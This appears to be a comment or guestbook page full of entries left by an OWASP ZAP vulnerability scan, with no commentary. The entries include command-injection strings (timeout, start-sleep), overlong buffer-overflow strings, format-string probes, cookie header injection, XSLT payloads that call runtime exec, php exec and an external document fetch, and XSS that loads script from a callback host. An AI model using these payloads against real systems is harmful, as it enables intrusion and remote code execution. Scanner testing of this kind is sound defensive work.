ZAP — 7/2/2026, 11:10:08 PM
&timeout /T 15.0
ZAP — 7/2/2026, 11:10:08 PM
|timeout /T 15.0
ZAP — 7/2/2026, 11:10:08 PM
"&timeout /T 15.0&"
ZAP — 7/2/2026, 11:10:08 PM
"|timeout /T 15.0
ZAP — 7/2/2026, 11:10:08 PM
'&timeout /T 15.0&'
ZAP — 7/2/2026, 11:10:08 PM
'|timeout /T 15.0
ZAP — 7/2/2026, 11:10:08 PM
;start-sleep -s 15.0
ZAP — 7/2/2026, 11:10:08 PM
";start-sleep -s 15.0
ZAP — 7/2/2026, 11:10:08 PM
';start-sleep -s 15.0
ZAP — 7/2/2026, 11:10:08 PM
;start-sleep -s 15.0 #
ZAP — 7/2/2026, 11:10:43 PM
ZTdcgddhdCXQBVAyayvtPTNoCeYxRvhpDOmGXGIpmWaSmkiXlxThxQwLZJQtEibwmOVOQTOUrrRuNncWLbsixSxtVSlsGZCSvbtKUjnufejBcfbgqLujAcCnRCsDnrlZpqafXhhXNUXYDbkjbcCGvBNlOwlDRGZuNbuUufMoIuQQaymbjgqOQVRuSvnhOrnYawLLfWbGPOUJiXeiAfofkgPqmEWGYjFiynanSmrpwiIvpxQuPoRPxCEvntBdqJQJvctxLoUEENbaWoimwXLfNoIkQfLDxfAQJvwmLlabwaaUoNEYQxQwntLaGayJLCppBHsrUxgyQafYEDsQWhcFVKhqTdLRoSeUsfHjOvFUQsTIiioaYoGqPBOgWNVPmgaClXEeLruDUFjCjShiIIOjOPtVhsZggkbWRTyuNOmZeqbHBJXwYJfuBHAaHuTiAxlNmHcwWdMmxjPuFxXjtGNtwBGkptgdilMPciKuxyXxgUuSXSvgRNnjAKVaWHaCGOTTxcvKEepgpZcRCxEVZWYVabkQVgwMqYeTtRYldvpncqhmTxQbqXYEMadvaEIvOhnDRGEyjwySmHlXoIXbqcyYBAaiHbBCbnDZafvjeGDFuFXSCnsihEmLEgIMSBhhOWwjMMTFnHVsdNHxGOtyQCMRvPnPXZwrRtwAYTBkWIAUliYcKUVBBtocjetlRmYlRGqJgjMPPvZrbQKrhrGxhaJlbCnVHfuhSYqXYJqXNIEMxaewnpmblrdkXhRYZsJEEujYsGgRsjajIVjbJXqAaIeiIOhMOtAnHIjjfmKqLnlrtNIFHjcEnbrFuTOnPPEsulQVgUTrjgeidmRkjVegygmFvoWhFhZEVRWlfKdmYjCHpLTLUOSmVVcaelTnwfATjNkTYLGcESOfsEXskdbIqmyCZMMHtWQKHTkhtvkflxmlJTDfuwiDPJkbDEmOIyCowWDfKYenMXjXKJMcCZjWLhmtpBYLhCKeWXsTBTbkIFmOyVwWcndDojkfAyrtKOcAJryaByIQLvqWcMeVJpHuJrflwGSiCuMfhUmlqPepfEjgiyiVASJnOSPRYSpCPouOxgKBIwRpYCIscweFFkLGUMCgUwxXAnqRSumwOLdDcCdKkpcmZCJPmkvXhhCjVtsaoPMWnyeXURgaRUbkiCtuJHDnXRZfoobirUcTkhftRZVqRhiKONSZNipMXNxqwpsxggimuufShhXxewuWjnlIchgukXIrRidkvOIlXeykhJBTmtQIBSIHGAuscQigpSIZFlCUmwTjBRtThqJUJLWpBwhSWQHVIaJylwrEMphvGBBqhERbKdfSBjTfNpHwxZYiZMYlaYNWAcNRIQiUmFRZXclGeZvmWHJGWkEoQvMtbtHoWwTtJNXVuCKgTwSxZchnuDLEOKSHGOeXTPAwgPxFfIsFiQpEYWjYijghGpdcSVahFfIfntqcmmxTFTkNdfPFqPfUZAwxxcUJVbAuwqZchkJUfUbEdoFsMWZjmadWCRwfPuaDVtLWvtfutAhaFxCQiPevOeNjmYumwgFRVCVmjPcFBERKRLWpCrpUmjZhwZXkBCZRmFdNAWSLvPGhTlOEkSiZDFkWgDygunZMHBmspxuOperxOparVrIvaQcitwgwtXmKGptdRXxOVqJCeUbewYeXtlEFDaLwAToNMQQLwbaIEqsejNIeRfljnnFjpWhlvHAEptMdYaVyJhWPknmGdWgrEobqyPKKZlcWleRDkAafmKrJxTWycNbUKTAtkRtgaYHUehikKirHpthIUKoQwCeZPNPWSBFUoxpZsTLNRphnhEmdyOFmIctuqasREWqyTUrRGGHkRZioJGVxSuaHVoCPgyppeEkrBxhwbRfhuDbViaUHXREMXjSgSVHkQoIXSLYbRRasbrDxxkBlBGqpLtgjfEHUjUkwlfNrUMwBlhxuNOHqjCHpoQwwHUmpOdXuLnlweujOgPIEcpDVnddoKClNudJxOOYeBiAWYlSWvQxChgxfpgXuDhQKurbApCtZTTEDvsMaYWvQQZsUMcGwRAxxtEMRbnpiHSnkJONTVQnOdQshjQZHqqLpXCwyDnaoEsIwjaoMLbND — 7/2/2026, 11:10:47 PM
ZAP — 7/2/2026, 11:10:47 PM
FhtAZCIAHgaRNMaGhpAWcJATFjttJaHqGVhPQPfOCQLixDYEyYuQiiivqTWMqRePMiJyZLCPBQgtRCoSGNrNKqAXhbYrjCpgojcqaekuFokJdjHYLWbOJrtOdJfwUgLSIIvxvQqscFAqbFGiSmnTnDENXlAXhWSwdHqhnQUgjsjLixGPAKGpWJjbStSoFKTZRPxnoPVUeLeHYurcaGXhtkExORmuSWpdAOrMDfGdAUqfbGdBHvqnnnkmsIEvDRuNBbWlFxqegoAyHjeKeTJmhfiQQxAqXAYNPOVYKkwirodMdOumQDDNJKdSOFyZOjiUeeiJpfZTJgEFRDlehiNxMTraBwBrggdMiCMxLexCCqtAQDALkkjNVvXQbLnjZsWqkkbPJKMauYOpljShHGeMPFFJubDnvmQtWMdUwKDnprasAvMxZbdtlKWAoiSjrDlOykGAVUduCqPrWQMTpGIJQLKogkkdDYMiAHHHHVKeGSUwcWjegcIsTIBFqTkVkVdOurxyhFESjRdGgicNWESCkHsPPajRMksOBIQrqDyIsSNrJBtCtbBVtPmrTOPkkcxAFeoHrfMiBPGGvnOvnDVRmuuqrPGMPNZHIDLwMCbxyQXwxUhZndEtdfclsJdVsRdVDbVTUcuOMpXAldJLeQoNGBGlCRLkgwmlpksyjFkOChMmmRbInNBekdLqhJYbdStcoVgboSoZCqsIwDoXZZyPHtkMCBSXAvkBNRZlRCuhOAqTUGZqFeujqTEaAnxAcJNCLOKvwpTWCIoHirHStxbSZdvXhwTXRGOEFruxkomUgvqGJyAChEPCRpxqWvteyLQHfbMVsOsVDcnHPMhcCmGhYZRnqwwfTqERyDltMhayhHtMZWbOwNxyVkHZqEmtoTtiFhjLytWDpwKtgGLVSHYRQsndNTinqoUZekPLuFRIeSopFXCAUbifEUNQqrPDGBDcnXIPJgqULjuidnRRuDSVDGGpImXQtoJdDCnJDMEbimnQfQBkeQHZguqThtdyobjiUxFddjWkTISoBrRlrdSXmLRDmRlNUAMWvhkJBUNmZOpKIYahHbVctEUZvGNspkqfNbeqfCGOSKViUFJspepOeicIsBCZnRANkDmbtksLQtjVgkMKfKtrBypOqtQPONeHawEVCgtHkGywkwYTDeeuYJoFumtByNsKlHJeDxXgnIdtnwVIYcEWLVqIkUMahtEVgyDfBAspJjpiYyJRgeBULsMYuRaLpDGbiwEgFZGsIGPrrfnKmfWTRePDpMJkmFqYiWEcUxHiOGDeCqoyGRMlOOGVmJYsiXwMmIoLLGZCyDwFCCTVdZCsTLNsYdZgLBLxUWMiqfOYMtuvjlMEnxZEtGFyIUrCWIBTmjBAcdVJlutOkBQbsdZJCWXiTEFFqNELmZjjpoxnEhyVrVEPfPIaLZHEMILVcGVxgjUGfRIDlSuJDwdmTQdfEQnBnAdtZGxYIIKrFnnHcEfnDBxcqpcrAlqNmocirapJDUHribQKKpQfpRoXExXEZTQKgdZtEETfttLLdDAtLxtKoFQQUlsxJVCjfTTQuBClkPCxoEAPljrhfilfjtcLpLYtYnisWWGJIRZiXtPSPFJmtWdEHFFPbWStvCrBbavpsNyugwnriEfwplqvZGOKGXFgFkGyoHWIlniBuienpltsVdVYlZKvwNTSwhHPNfiSZHHdFNjwHlmnTigBSSItCfKFlrBAKuMeYwXaDlSBtGIachiMfqstpBLBAZjWgQpfoKJETqmkAnQIJuvUWarPDmVcKoQGTROPYxnHMILWjDVqtpgoxkKOcNAxbGvbFtbPULtXXCOrBnLbdXmpEumKhaywSITXwZvZRHJXTgycfWlnHlObwwmUHFlNdJqHdpJRiYPumNKjFCYTftftaDlTCWuuyYvnURObvvRlnPGXjQyIbbwMWPfQXfKXvvjyejUKEgGtYAGKCSxihuMaNqBFbbXKaAyhhhfMuQabWbSyNOgDXwkWoRwOjCjMwjiWMUyvrdxaXPsFjnZUMqkCfWvvrnCDDZgLNSyTENJXiYCYkwZybjGNLTutDjoEpTAoVsSLoXvTmsPiqwGFGPEKGqdi
ZAP — 7/2/2026, 11:10:51 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s — 7/2/2026, 11:10:51 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n — 7/2/2026, 11:10:51 PM
ZAP — 7/2/2026, 11:10:51 PM
ZAP
ZAP — 7/2/2026, 11:10:52 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s
ZAP — 7/2/2026, 11:10:52 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n
Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9 — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9 — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9 — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9 — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9 — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9 — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9 — 7/2/2026, 11:10:56 PM
ZAP — 7/2/2026, 11:10:56 PM
Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9
ZAP — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9
ZAP — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9
ZAP — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9
ZAP — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9
ZAP — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9
ZAP — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=31bdf70d-a0e0-472a-878f-b883273d95f9
ZAP — 7/2/2026, 11:10:59 PM
Anonymous — 7/2/2026, 11:10:59 PM
Anonymous — 7/2/2026, 11:10:59 PM
@ — 7/2/2026, 11:10:59 PM
+ — 7/2/2026, 11:11:00 PM
— 7/2/2026, 11:11:00 PM
| — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
@
ZAP — 7/2/2026, 11:11:00 PM
+
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
|
< — 7/2/2026, 11:11:10 PM
<xsl:value-of select="system-property('xsl:vendor')"/> — 7/2/2026, 11:11:10 PM
system-property('xsl:vendor')/> — 7/2/2026, 11:11:10 PM
"/><xsl:value-of select="system-property('xsl:vendor')"/><!-- — 7/2/2026, 11:11:10 PM
<xsl:value-of select="system-property('xsl:vendor')"/><!-- — 7/2/2026, 11:11:11 PM
<xsl:value-of select="document('http://calsaws-demo.awsomedemos.com:22')"/> — 7/2/2026, 11:11:11 PM
<xsl:variable name="rtobject" select="runtime:getRuntime()"/> <xsl:variable name="process" select="runtime:exec($rtobject,'erroneous_command')"/> <xsl:variable name="waiting" select="process:waitFor($process)"/> <xsl:value-of select="$process"/> — 7/2/2026, 11:11:11 PM
<xsl:value-of select="php:function('exec','erroneous_command 2>&amp;1')"/> — 7/2/2026, 11:11:11 PM
ZAP — 7/2/2026, 11:11:11 PM
<
ZAP — 7/2/2026, 11:11:11 PM
ZAP — 7/2/2026, 11:11:11 PM
system-property('xsl:vendor')/>
ZAP — 7/2/2026, 11:11:11 PM
"/>
fqvnrgtwzgytcprohpqnlwdhiwfdikwxzpttxv — 7/2/2026, 11:11:26 PM
ZAP — 7/2/2026, 11:11:26 PM
ZAP — 7/2/2026, 11:11:26 PM
fqvnrgtwzgytcprohpqnlwdhiwfdikwxzpttxv
ZAP — 7/2/2026, 11:11:30 PM
ZAP — 7/2/2026, 11:11:30 PM
<script src="http://172.17.0.2:36607/438a80ea-95a2-4f8c-8982-f0e8d259375c"></script> — 7/2/2026, 11:11:36 PM
</script><script src="http://172.17.0.2:36607/712bae51-ceb9-4536-a045-e404f444915e"> — 7/2/2026, 11:11:36 PM
" onload="var s=document.createElement(script);s.src={0};document.getElementsByTagName(head)[0].appendChild(s);" garbage=" — 7/2/2026, 11:11:36 PM
"><img src=x onerror="var s=document.createElement(script);s.src=http://172.17.0.2:36607/dac735a4-3d3f-4a38-9cb5-992167179d39;document.getElementsByTagName(head)[0].appendChild(s);"> — 7/2/2026, 11:11:36 PM
ZAP — 7/2/2026, 11:11:36 PM
ZAP — 7/2/2026, 11:11:36 PM